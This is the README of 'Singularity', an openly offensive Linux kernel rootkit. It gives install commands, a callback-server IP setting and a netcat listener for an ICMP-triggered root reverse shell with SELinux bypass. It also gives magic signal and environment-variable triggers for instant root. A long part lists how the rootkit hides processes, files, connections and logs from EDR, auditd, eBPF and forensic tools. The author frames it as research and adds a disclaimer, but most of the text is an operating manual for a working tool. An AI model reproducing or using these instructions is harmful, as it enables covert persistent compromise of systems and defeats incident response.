Singularity Rootkit: SELinux bypass and netlink filter (ss/conntrack hidden)
Singularity - POC of Stealthy Linux Kernel Rootkit "Shall we give forensics a little work?" Singularity is a powerful Linux Kernel Module (LKM) rootkit designed for modern 6.x kernels. It provides ...
Singularity - POC of Stealthy Linux Kernel Rootkit
"Shall we give forensics a little work?"
Singularity is a powerful Linux Kernel Module (LKM) rootkit designed for modern 6.x kernels. It provides comprehensive stealth capabilities through advanced system call hooking via ftrace infrastructure.
Full Research Article (outdated version): Singularity: A Final Boss Linux Kernel Rootkit
EDR Evasion Case Study: Bypassing Elastic EDR with Singularity
What is Singularity?
Singularity is a sophisticated rootkit that operates at the kernel level, providing:
Process Hiding: Make any process completely invisible to the system
File & Directory Hiding: Conceal files using pattern matching
Network Stealth: Hide TCP/UDP connections, ports, and conntrack entries
Privilege Escalation: Multiple methods to gain instant root access
Log Sanitization: Filter kernel logs and system journals in real-time
Self-Hiding: Remove itself from module lists and system monitoring
Remote Access: ICMP-triggered reverse shell with automatic hiding
Anti-Detection: Block eBPF tools, io_uring operations, and prevent module loading
Audit Evasion: Drop audit messages for hidden processes at netlink level with statistics tracking
Memory Forensics Evasion: Filter /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
Cgroup Filtering: Filter hidden PIDs from cgroup.procs
Syslog Evasion: Hook do_syslog to filter klogctl() kernel ring buffer access
Debugfs Evasion: Filter output of tools that read raw block devices
Conntrack Filtering: Hide connections from /proc/net/nf_conntrack and netlink SOCK_DIAG/NETFILTER queries
SELinux Evasion: Automatic SELinux enforcing mode bypass on ICMP trigger
Features
Environment-triggered privilege elevation via signals and environment variables
Complete process hiding from /proc and monitoring tools
Pattern-based filesystem hiding for files and directories
Network connection concealment from netstat, ss, conntrack, and packet analyzers
Advanced netlink filtering (SOCK_DIAG, NETFILTER/conntrack messages)
Real-time kernel log filtering for dmesg, journalctl, and klogctl
Module self-hiding from lsmod and /sys/module
Automatic kernel taint flag normalization
BPF syscall interception to prevent eBPF-based detection
io_uring protection against asynchronous I/O bypass
Prevention of new kernel module loading
Log masking for kernel messages and system logs
Evasion of standard rootkit detectors (unhide, chkrootkit, rkhunter)
Automatic child process tracking and hiding via tracepoint hooks
Multi-architecture support (x64 + ia32)
Network packet-level filtering with raw socket protection
Protection against all file I/O variants (read, write, splice, sendfile, tee, copy_file_range)
Netlink-level audit message filtering with statistics tracking to evade auditd detection
Cgroup PID filtering to prevent detection via /sys/fs/cgroup/*/cgroup.procs
TaskStats netlink blocking to prevent PID enumeration
/proc/kcore filtering to evade memory forensics tools (Volatility, crash, gdb)
do_syslog hook to filter klogctl() and prevent kernel ring buffer leaks
Block device output filtering to evade debugfs and similar disk forensics tools
journalctl -k output filtering via write hook
SELinux enforcing mode bypass capability for ICMP-triggered shells
Installation
Prerequisites
Linux kernel 6.x (tested on 6.8.0-79-generic, 6.17.8-300.fc43.x86_64 and 6.12)
Kernel headers for your running kernel
GCC and Make
Root access
Quick Install
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
sudo bash scripts/x.sh
cd ..
That's it. The module automatically:
Hides itself from lsmod, /proc/modules, /sys/module
Clears kernel taint flags
Filters sensitive strings from dmesg, journalctl -k, klogctl
Starts protecting your hidden files and processes
Important Notes
The module automatically hides itself after loading
There is no unload feature - reboot required to remove
Test in a VM first - cannot be removed without restarting
Configuration
Set Your Server IP
Edit include/core.h:
#define YOUR_SRV_IP "192.168.1.100" // Change this
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Edit modules/icmp.c:
#define SRV_PORT "8081"
Usage
Hide Processes
# Hide current shell
kill -59 $$
# Hide specific process
kill -59
Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.
Hide Files & Directories
Files matching your configured patterns are automatically hidden:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory
Become Root
Method 1: Environment Variable
MAGIC=mtz bash
id # uid=0(root)
Method 2: Signal
kill -59 $$
id # uid=0(root)
Hide Network Connections
Connections on your configured port are automatically hidden:
nc -lvnp 8081
# Invisible to all monitoring
ss -tulpn | grep 8081 # (no output)
netstat -tulpn | grep 8081 # (no output)
lsof -i :8081 # (no output)
cat /proc/net/nf_conntrack | grep 8081 # (no output)
# Even advanced netlink queries are filtered
ss -tapen | grep 8081 # (no output)
conntrack -L | grep 8081 # (no output)
Packets are dropped at raw socket level (tpacket_rcv) and hidden from:
/proc/net/* interfaces (tcp, tcp6, udp, udp6)
/proc/net/nf_conntrack
Netlink SOCK_DIAG queries (used by ss, lsof)
Netlink NETFILTER/conntrack messages (used by conntrack tool)
ICMP Reverse Shell
Trigger a hidden reverse shell remotely with automatic SELinux bypass:
1. Start listener:
nc -lvnp 8081
2. Send ICMP trigger:
sudo python3 scripts/trigger.py
3. Receive root shell (automatically hidden with all child processes, SELinux enforcing mode bypassed if active)
Protection Mechanisms
Ftrace Control Protection
All attempts to disable ftrace are silently intercepted and blocked:
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
Protected syscalls: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (with intelligent per-PID caching)
BPF Syscall Blocking
eBPF operations are intercepted and blocked:
BPF_PROG_LOAD (tracepoint, kprobe, tracing, LSM, ext types)
BPF_ITER_CREATE, BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID
BPF_RAW_TRACEPOINT_OPEN, BPF_LINK_CREATE
BPF_PROG_QUERY, BPF_OBJ_GET_INFO_BY_FD
All BPF operations from hidden PIDs
io_uring Protection
Protection against io_uring bypass in ftrace_enabled and tracing_on attempts with intelligent caching (1 second cache per PID to prevent repeated process scanning and reduce overhead)
Log Sanitization
Real-time filtering of sensitive strings from all kernel log interfaces:
Interface
Hook
Status
dmesg
read hook on /proc/kmsg
ā
Filtered
journalctl -k
write hook (output filtering)
ā
Filtered
klogctl() / syslog()
do_syslog hook
ā
Filtered
/sys/kernel/debug/tracing/*
read hook
ā
Filtered
/var/log/kern.log, syslog, auth.log
read hook
ā
Filtered
/proc/kallsyms, /proc/kcore, /proc/vmallocinfo
read hook
ā
Filtered
/proc/net/nf_conntrack
read hook
ā
Filtered
Filtered keywords: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove
Note: Audit messages for hidden PIDs are dropped at netlink level with statistics tracking (get_blocked_audit_count, get_total_audit_count)
Disk Forensics Evasion
Singularity hooks the write syscall to detect and filter output from disk forensics tools:
How it works:
Detects if process has a block device open (/dev/sda, /dev/nvme0n1, etc)
Detects debugfs-style output patterns (inode listings, filesystem metadata)
Sanitizes hidden patterns in-place (replaces with spaces to maintain buffer size/checksums)
# Hidden files are invisible even to raw disk analysis
debugfs /dev/sda3 -R 'ls -l /home/user/singularity'
# (spaces where "singularity" was)
# The pattern is sanitized in the output buffer
# Checksums remain valid, no corruption
Detected patterns:
debugfs: prefix
Inode listings with parentheses
Inode count:, Block count:, Filesystem volume name:
Filesystem UUID:, e2fsck, Inode:
Process Hiding Implementation
Complete hiding from syscalls and kernel interfaces:
/proc/[pid]/* (openat, readlinkat blocked)
getdents, getdents64 (directory listing filtered)
stat, lstat, statx, newfstatat (metadata hidden)
kill with signal 0 (returns ESRCH)
getsid, getpgid, getpgrp (returns ESRCH)
sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (returns ESRCH)
getpriority (returns ESRCH)
sysinfo (process count adjusted)
pidfd_open (returns ESRCH)
TaskStats netlink queries (returns ESRCH)
Cgroup PIDs filtered from cgroup.procs
Child processes automatically tracked via sched_process_fork tracepoint hook.
Bypassed Security Tools
Process Monitoring: ps, top, htop, etc
Filesystem: ls, find, locate, stat, lstat, readlink
Disk Forensics: debugfs, e2fsck (output filtered via write hook)
Memory Forensics: Volatility, crash, gdb (via /proc/kcore filtering)
Network: netstat, ss, lsof, tcpdump, wireshark, conntrack, /proc/net/*
Logs & Traces: dmesg, journalctl -k, klogctl, strace, ltrace, ftrace, perf, bpftrace, bpftool, libbpf
Rootkit Detectors: unhide, chkrootkit, rkhunter
Module Detection: lsmod, modinfo, /sys/module, /proc/modules, kmod
Modern Detection: eBPF-based security tools (Tracee), io_uring-based monitors, and some Linux EDRs
Syscall Hooks
Syscall/Function
Module
Purpose
getdents, getdents64
hiding_directory.c
Filter directory entries, hide PIDs
stat, lstat, newstat, newlstat, statx, newfstatat
hiding_stat.c
Hide file metadata, adjust nlink
getpriority
hiding_stat.c
Hide priority queries for hidden PIDs
openat
open.c
Block access to hidden /proc/[pid]
readlinkat
hiding_readlink.c
Block symlink resolution
chdir
hiding_chdir.c
Prevent cd into hidden dirs
read, pread64, readv, preadv
clear_taint_dmesg.c
Filter kernel logs, kcore, kallsyms, cgroup PIDs, nf_conntrack
do_syslog
clear_taint_dmesg.c
Filter klogctl()/syslog() kernel ring buffer
sched_debug_show
clear_taint_dmesg.c
Filter scheduler debug output
write, writev, pwrite64, pwritev, pwritev2
hooks_write.c
Block ftrace control + filter disk forensics + filter journalctl output
sendfile, sendfile64, copy_file_range
hooks_write.c
Block file copies to protected files
splice, vmsplice, tee
hooks_write.c
Block pipe-based writes to protected files
io_uring_enter
hooks_write.c
Block async I/O bypass with PID caching
kill, getuid
become_root.c
Root trigger + magic env detection
getsid, getpgid, getpgrp
become_root.c
Returns ESRCH for hidden PIDs
sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval
become_root.c
Returns ESRCH for hidden PIDs
sysinfo
become_root.c
Adjusts process count
pidfd_open
become_root.c
Returns ESRCH for hidden PIDs
tcp4_seq_show, tcp6_seq_show
hiding_tcp.c
Hide TCP connections from /proc/net
udp4_seq_show, udp6_seq_show
hiding_tcp.c
Hide UDP connections from /proc/net
tpacket_rcv
hiding_tcp.c
Drop packets at raw socket level
recvmsg
audit.c
Filter netlink SOCK_DIAG and NETFILTER messages
netlink_unicast
audit.c
Drop audit messages for hidden PIDs
bpf
bpf_hook.c
Block eBPF tracing operations
init_module, finit_module
hooking_insmod.c
Prevent module loading
icmp_rcv
icmp.c
ICMP-triggered reverse shell with SELinux bypass
taskstats_user_cmd
task.c
Block TaskStats queries for hidden PIDs
sched_process_fork (tracepoint)
trace.c
Track child processes
tainted_mask (kthread)
reset_tainted.c
Clear kernel taint flags
module_hide_current
hide_module.c
Remove from module lists and sysfs
Multi-Architecture Support: x86_64 (__x64_sys_*) and ia32 (__ia32_sys_*, __ia32_compat_sys_*)
Compatibility
Tested on: Kernel 6.8.0-79-generic ā
| Kernel 6.12 ā
| Kernel 6.17.8-300.fc43 ā
Architecture: x86_64 (primary) | ia32 (full support)
May not work on: Kernels < 6.x | Kernels without ftrace support
Always test in a VM first
The Plot
Unfortunately for some...
Even with all these filters, protections, and hooks, there are still ways to detect this rootkit.
But if you're a good forensic analyst, DFIR professional, or malware researcher, I'll let you figure it out on your own.
I won't patch for this, because it will be much more OP ;)
Credits
Singularity was created by MatheuZSecurity (Matheus Alves)
LinkedIn: mathsalves
Discord: kprobe
Join Rootkit Researchers: Discord - https://discord.gg/66N5ZQppU7
Code References
fuxSocy
Adrishya
MatheuZSecurity/Rootkit
Research Inspiration
KoviD
Basilisk
GOAT Diamorphine rootkit
Contributing
Submit pull requests for improvements
Report bugs via GitHub issues
Suggest new evasion techniques
Share detection methods (for research)
Found a bug? Open an issue or contact me on Discord: kprobe
FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY
Singularity was created as a research project to explore the limits of kernel-level stealth techniques. The goal is to answer one question: "How far can a rootkit hide if it manages to infiltrate and load into a system?"
This project exists to:
Push the boundaries of offensive security research
Help defenders understand what they're up against
Provide a learning resource for kernel internals and evasion techniques
Contribute to the security community's knowledge base
I am not responsible for any misuse of this software. If you choose to use Singularity for malicious purposes, that's on you. This tool is provided as-is for research, education, and authorized security testing only.
Test only on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions.
Be a researcher, not a criminal.